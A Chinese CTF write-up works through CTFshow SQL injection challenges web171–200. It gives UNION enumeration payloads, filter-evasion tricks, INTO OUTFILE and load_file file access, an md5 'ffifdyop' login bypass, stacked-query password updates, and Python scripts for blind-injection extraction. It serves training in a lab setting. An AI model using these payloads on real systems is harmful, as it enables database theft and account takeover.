CTFSHOW sql注入 web入门171-200

web171

观察语句 发现他不允许username='flag' 那么推测 username="flag"时 那么我们的思路就是想办法使语句查询出flag

我的思路是把它变成两个语句

-1' or username = 'flag

或一次性查所有的 然后翻到最下面就是了 不知道为什么有一次打开没查到 再重新打开页面就好了

这里的1'闭合了前面的部分 --+注释了后面的内容 就不会再处理这段话后面的东西了

1' or 1=1--+

web172

我们尝试上一题语句 发现 没有查询到数据 然后尝试-1' or username = 'user1 发现原来表单已有的值 是可以查到的 并不是方法被屏蔽了 那我们可以推测 我们要查询的数据可能不在当前表里,于是我们的思路如下

一开始没查出来 发现他有俩界面 在select模块选择无过滤注入1里可以尝试进行如下查询 无过滤注入2无法使用 以下库民和表名 注意自行替换成具体的值 步骤是承接的 因为能看到数据是三列的

如果存在没办法确定有几项数据的时候 可以用以下方法

//以此类推 直到出现报错的时候 在报错之前的那一列 就是项数了
1' order by 1 --+
1' order by 2 --+
1' order by 3 --+
1' order by 4 --+
1' order by 5 --+

 

我们用1,2,3挖空和其中一个部分填入我们需要的操作 所以看到1,xx,3这样不要感觉奇怪

爆库名->爆表名->爆字段名->爆字段值

-1' union select 1,database() ,3 --+ //返回数据库名,查到为ctfshow_web

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+ //获取数据库里的表名 查到ctfshow_user,ctfshow_user2两张表

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' --+ //获取表内字段名 两个表都尝试一下查询username=flag

-1' union select 1,group_concat(字段名1),group_concat(字段名2) from 表名 --+ //获取字段值,有2个表,第一个表的password内有个值为flag not here,第二个表的password内有flag

最后的查询语句为 

-1' union select 1,group_concat(username),group_concat(password) from ctfshow_user2 --+

展开密码项发现flag就在最末尾

web173

这道题检查了返回结果是否包含flag 用上一题的方法 查到了ctfshow_user3这张表 发现一直显示无数据 尝试只查username是查不到的下因为username包含了flag 那就只查password试试 看到了ctfshow

-1' union select 1,2,group_concat(password) from ctfshow_user3 --+

看其他师傅写的 也可以用编码的方式绕过 例如hex(字段) 使得可以查到username以及对于的password 这里运气好或者设计不严谨?我直接查password查到了 以下是其他师傅的方法

1' union select id,hex(username),password from ctfshow_user3 --+

web174

一开始点击无参注入4 然后尝试什么都不行 正常传入都不行 然后再点击无参注入4又好了 重启容器发现 第一次选择无参注入4的时候跳转到select-no-waf-3 应该是题目的问题 点两次无参注入4奥

这里观察代码发现返回的内容屏蔽了1-9以及flag的大小写 那我们返回值也就不能带数字了 而flag生成的内容 又不太可能没有数字 这看起来很难办 看了大佬的 采用替换成纯英文 然后再替换回来 方法如下 提供一个python脚本 当然这道题也可以盲注

#如下为第一部分
t='password'
for i in range(10):
    r=chr(ord(str(i))+49)
    s=f"replace({t},'{i}','_{r}_')"
    t=s
print(s)
#根据获得的s 构造payload -
# 1'+union+select+replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','_a_'),'1','_b_'),'2','_c_'),'3','_d_'),'4','_e_'),'5','_f_'),'6','_g_'),'7','_h_'),'8','_i_'),'9','_j_'),'aa'+from+ctfshow_user4+where+username='flag'--+
#我这里查询后的ctfshow{_e__g_ba_j__a__d__i_-_b_cbb-_e__c_ba-ae_j__f_-de_c__g__g__a_da_e__j__g_e}

#如下为第二部分 解码部分 把页面返回的结果填入下方 然后注释解开
# en_s='{_e__g_ba_j__a__d__i_-_b_cbb-_e__c_ba-ae_j__f_-de_c__g__g__a_da_e__j__g_e}'
# i=0
# l=len(en_s)
# new=''
# while i<l:
#     if en_s[i]=='_':
#         j=i+3
#         de_s=chr(ord(en_s[i+1])-49)
#         new+=de_s
#         i=j
#     else:
#         new+=en_s[i]
#         i+=1
# print(new)

payload如下:

1'+union+select+replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','_a_'),'1','_b_'),'2','_c_'),'3','_d_'),'4','_e_'),'5','_f_'),'6','_g_'),'7','_h_'),'8','_i_'),'9','_j_'),'aa'+from+ctfshow_user4+where+username='flag'--+

然后拿到返回值 再把内容 放进上方解码部分的en_s里 运行解码 拿到结果

web175

这里观察代码发现返回的内容屏蔽了所有的ASCLL码 让他在本页面是返回不了值了 俩种方法一种是盲注 一种是写入日志 报错不用理会 只用访问xx.xx.com/路径

-1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+

访问url/flag.txt 如访问 https://2a4c6be4-0c1f-471b-8c65-523df64c793d.challenge.ctf.show/flag.txt

然后就可以拿到flag了

Web176

-1' or username = 'flag过了 我也不知道过滤了什么

web177

尝试上一题-1' or username = 'flag 发现返回无数据 也没告诉我们过滤了什么 大概测试了一下 发现屏蔽了空格 那就想办法用特殊方式代替空格

%0c    /**/    %09  都可以绕过

payload如下 注意一下自己手打的话 开头和结尾有没有空格 注意删掉空格

-1'%0c||%0cusername='flag

web178

上一道题的payload过了

web179

上上一道题的payload过了

web180

上上上一题payload 过了

web181

上上上上一题payload 过了

web182

屏蔽了很多东西 发现之前的payload没办法用了 flag被过滤了 考虑一下返回所有数据 payload如下

or的两边是可以不用空格的 本来用--+不知道为什么不行 看规则里也没有屏蔽 问了以一下deepseek好像有些数据库规则不允许+变成空格 于是这里采用%01这个不可见字符协同--完成注释后面的内容

1'or'1'--%01

web183

这道题连or都注释了 还没有输入框 干沉默了 抓包试了一下 发现要post请求了 结果返回记录总数

观察发现存在盲注可能

我们通过like的方式 去匹配字段记录是不是只有一条 只有一条的那个 就是我们要的结果了 这里的user_count是我们的返回条数

字段是pass 库是ctfshow_user 以ctfshow{打头的 并且通过like只返回一条结果 一直尝试 最后找到}截止 我们编写如下的脚本 

python脚本如下 注意url这里的链接默认复制过来是的https改成http奥 不然请求不了 也有可能会因为网络不稳定导致部分失败的可能性 得重新请求了(校园网!!!)

import requests
import time

url = "http://80a870ad-2e06-4d29-aeda-9843ae704a97.challenge.ctf.show/select-waf.php"
#因为是uuid所以最多只到f -是uuid连接符 }是ctfshow闭合的部分
charset = "0123456789abcdef}-_"
flag = "ctfshow{"
timeout = 2  # 精确控制超时
retry_limit = 3  # 失败重试次数
delay = 0.1  # 每次请求间隔


def safe_request(payload):
    for _ in range(retry_limit):
        try:
            r = requests.post(url, data={"tableName": payload}, timeout=timeout)
            if r.status_code == 200:
                return "$user_count = 1" in r.text
        except:
            time.sleep(delay)
    return False


while True:
    found = False
    for c in charset:
        payload = f"(ctfshow_user)where(pass)like'{flag + c}%'"
        if safe_request(payload):
            flag += c
            print(f"\rCurrent flag: {flag}", end="", flush=True)
            if c == "}":
                print(f"\nFinal flag: {flag}")
                exit()
            found = True
            break  # 找到后立即进入下一轮
        time.sleep(delay)  # 避免高频请求

    if not found:
        print("\nNo more characters matched!")
        exit()

web184

整体和上一题相似 但是过滤了更多东西了 但是where都ban了 有点黑暗了 但是依然没有过滤like 那就用联立两张表的方式来利用like代替where 你问谁和谁连?当然是自己和自己连啦!

但是单引号等于号都被过滤了 那我们只好把整体用16进制代替了 这样可以在不用单引号和等于号的情况下使用like了 接下来看看我们这样做查询出来的总数是多少 

post请求参数

tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725

如上 是43条记录 那么我们利用的时候 查询总数是43就是满足条件的了 然后我们尝试python脚本盲注 获得flag

 参考了mumuzi师傅的python脚本 如下

import binascii
import requests

def str_to_hex(s):
    return '0x'+binascii.b2a_hex(s.encode()).decode()

url = "http://0a468011-1fcc-4f74-9d14-60b1e6e62b39.challenge.ctf.show/select-waf.php"
str = "0123456789abcdef{}-_"
flag = "ctfshow"
for i in range(0,60):
    for j in str:
        res = str_to_hex(flag+j+'%')
        data = {"tableName":f"ctfshow_user as a right join ctfshow_user as b on b.pass like {res}"}
        r = requests.post(url=url, data=data).text
        if "$user_count = 43" in r:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web185

这道题过滤了更多 把数字也过滤了 那形如0x这种表示十六进制转换的也不行了 但是依然没有对我们的like进行限制 那我们想办法表达出like后面的内容就好了 修改一下上一题的脚本 这里用到concat函数进行字符的拼接 来完成绕过 通过str_to_num这个函数里 对true的运算 绕过数字的检测一个true就是1  2个true相加就是2 true+true+true=3

脚本如下 参考了mumuzi师傅

import requests

#str_to_num这个函数里 对true的运算 绕过数字的检测一个true就是1  2个true相加就是2 #true+true+true=3

def str_to_num(n):
    return ('true+'*n)[:-1]

def concat_str(s):
    res = ''  # 初始化空字符串
    for i in s:  # 遍历输入字符串的每个字符
        # 对每个字符执行以下操作:
        res += 'chr(' + str_to_num(ord(i)) + '),'  # 拼接为 chr(数值表达式),
    return res[:-1]  # 去掉最后一个逗号

url = "http://a84c9ee8-467b-4b3d-be95-5336dd5611c1.challenge.ctf.show/select-waf.php"
str = "0123456789abcdef{}-_"
flag = "ctfshow"
for i in range(0,60):
    for j in str:
        res = concat_str(flag+j+'%')
        data = {"tableName":f"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({res}))"}
        r = requests.post(url=url, data=data).text
        if "$user_count = 43" in r:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web186

用上一题可以过

web187

这道题对我们的密码进行md5处理了 本质是为了保护我们的数据完全 因为md5没办法逆向 只能碰撞 简单的md5处理一下 即使拿到了库 可能也需要很久才能碰撞出一个用户名的密码

但是这样处理也给了我们利用的机会

ffifdyop这个字符串md5编码一下 会变成'or'6É].é!r,ùíb. 这种'or'的方式 产生了强制达成条件的效果。这里我一开始疑惑 明明没有经过hex函数 在哪里变成了16进制 问了一下deepseek 用了md5函数 默认就是16进制存储的 

md5("ffifdyop",true) =>276f722736c95d99e921722cf9ed621c(16进制编码后)  =>'or'6É]™é!r,ùíb(16进制解码后)

账号admin 密码ffifdyop完成登陆

抓包看一下响应 拿到flag

web188

这道题密码只能纯数字欸 看看有什么玄机

没看出来

来一段deepseek的解答 账号密码都是0就可以拿到flag了

SQL语句变为:select pass from ctfshow_user where username = 0
在MySQL中,当数字与字符串比较时,字符串会被转换为数字
如果用户名不是以数字开头,会被转换为0
因此可能匹配到数据库中的第一条记录
密码比较:
从数据库获取的pass值被转换为整数
输入的0也被转换为整数
如果第一条记录的密码是字符串或以0开头的数字,可能满足==比较

web189

提示我们flag在api/index.php 知道指定的文件路径 那应该是想办法读取这个路径了

这里查到load_file函数:读取文件并返回文件内容为字符串。限制条件问了一下deepseek

安全限制:
需要FILE权限(通常只有管理员有该权限)
在secure_file_priv系统变量指定的目录中(MySQL 5.7.6+)
如果secure_file_priv为NULL,则不允许文件加载
路径格式:必须使用绝对路径
二进制安全:如果文件是二进制文件,可能无法正确读取

也就是说 我们必须使用绝对路径进行读取

过滤的太多了 参考一下师傅们的wp 师傅们都通过load_file以及regexp进行布尔盲注 网络不稳定可能跑不通奥 还有就是师傅们注意一下输入的格式 替换的时候留心一点 还有就是https换成http

from requests import post
from string import digits, ascii_lowercase

url = 'http://a411f516-d2e2-4418-9077-b4bc4638e48b.challenge.ctf.show/api/'
payload = "if(load_file('/var/www/html/api/index.php')regexp'{}',0,1)"
flag = 'ctfshow{'

while True:
    for c in '-}' + digits + ascii_lowercase:
        res = post(url, {'username': payload.format(flag + c), 'password': '0'}).text
        if '8bef' in res:
            flag += c
            print(flag)
            if c == '}':
                exit()

web190

奇怪 怎么没过滤什么东西呢 只有密码只能纯数字

本来想试试上面的load_file 因为没有过滤 但是发现并没有告诉我们flag在哪个文件里 然后也不知道具体表在哪里 然后这里是布尔盲注篇 那就来点布尔盲注 抓包一下登陆请求 发现请求的是url/api

然后我们用二分法的盲注查找一下 也是mumuzi师傅的脚本 脚本如下

其中用\u5bc6\u7801\u9519\u8bef的原因 是返回结果是u码 我们也用对应的u码去匹配

import requests

url = 'http://5be5ec01-9401-4870-852e-a55f0ff4fce8.challenge.ctf.show/api/'
flag = ''
for i in range(100):
    lenth = len(flag)
    min = 32
    max = 128
    while True:
        j = min + (max - min) // 2
        if (min == j):
            flag += chr(j)
            print(flag)
            if (len(flag) > 2 and chr(j) == ' '):
                exit()
            break
        # payload = f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},1,0)-- -"  # 取表名
        #payload = f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))<{j},1,0)-- -"   #取列名
        payload = f"' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))<{j},1,0)-- -"  # 拿flag
        data = {'username': payload
            , 'password': 114514}
        r = requests.post(url=url, data=data).text
        if (r'\u5bc6\u7801\u9519\u8bef' in r):
            max = j
        else:
            min = j

web191

相较于上一道题 这里过滤了file into ascii 那么上面的方法都没办法直接用了

可以选择把ascii用ord替代 因为他们对单字节字符的处理结果是相同的 他们的区别如下:

python脚本如下:

import requests

url = 'http://2a30aa03-8906-428c-945a-9602cea36cc2.challenge.ctf.show/api/'
flag = ''
for i in range(100):
    lenth = len(flag)
    min = 32
    max = 128
    while True:
        j = min + (max - min) // 2
        if (min == j):
            flag += chr(j)
            print(flag)
            if (len(flag) > 2 and chr(j) == ' '):
                exit()
            break
        # payload = f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},1,0)-- -"  # 取表名
        #payload = f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))<{j},1,0)-- -"   #取列名
        payload = f"' or if(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))<{j},1,0)-- -"  # 拿flag
        data = {'username': payload
            , 'password': 114514}
        r = requests.post(url=url, data=data).text
        if (r'\u5bc6\u7801\u9519\u8bef' in r):
            max = j
        else:
            min = j

web192

这道题在上面的继续上把ord和hex也过滤了

我们用正则绕过 这段可能会因为网络不稳定出问题 可能得多跑几次 如下:

import requests
url = "http://3591723f-9b99-4c76-9b11-75b9e87c175a.challenge.ctf.show/api/"
flag = ""
table = "0123456789abcdef-{}_"

for i in range(1,99):
    for j in table:
        username_data = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g), {i}, 1)regexp('{j}'), 1, 0)=1#"
        data = {'username': username_data,
                'password': 1}
        r = requests.post(url=url, data=data).text
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            flag += j
            print(flag)
            if j == "}":
                exit()
            break

web193

没过滤like

import requests
url = "http://a6fb0851-4810-4390-befa-08d1c39b0fa9.challenge.ctf.show/api/"
flag = ""
table = "0123456789abcdefghijklmnopqrstuvwxyz-,{}_"

for i in range(1,99):
    for j in table:
        pay = flag+j+'%'
        username_data = f"' or if((select group_concat(f1ag) from ctfshow_flxg) like '{pay}',1,0)#"
        data = {'username': username_data,
                'password': 1}
        r = requests.post(url=url, data=data).text
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            flag += j
            print(flag)
            if j == "}":
                exit()
            break

web194

同上

web195

这里是堆叠注入的部分了

问一下deepseek堆叠注入的概念 回答如下

用户名里输入 0;update`ctfshow_user`set`pass`=1

密码输入 1

如图所示

提交就可以拿到flag了

web196

我们通过

用户名 1;select(1)
密码 1

如图所示

web197

跟师傅们学到的姿势

用户名1;show tables

密码ctfshow_user

web198

如上

web199

如上

web200

如上

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值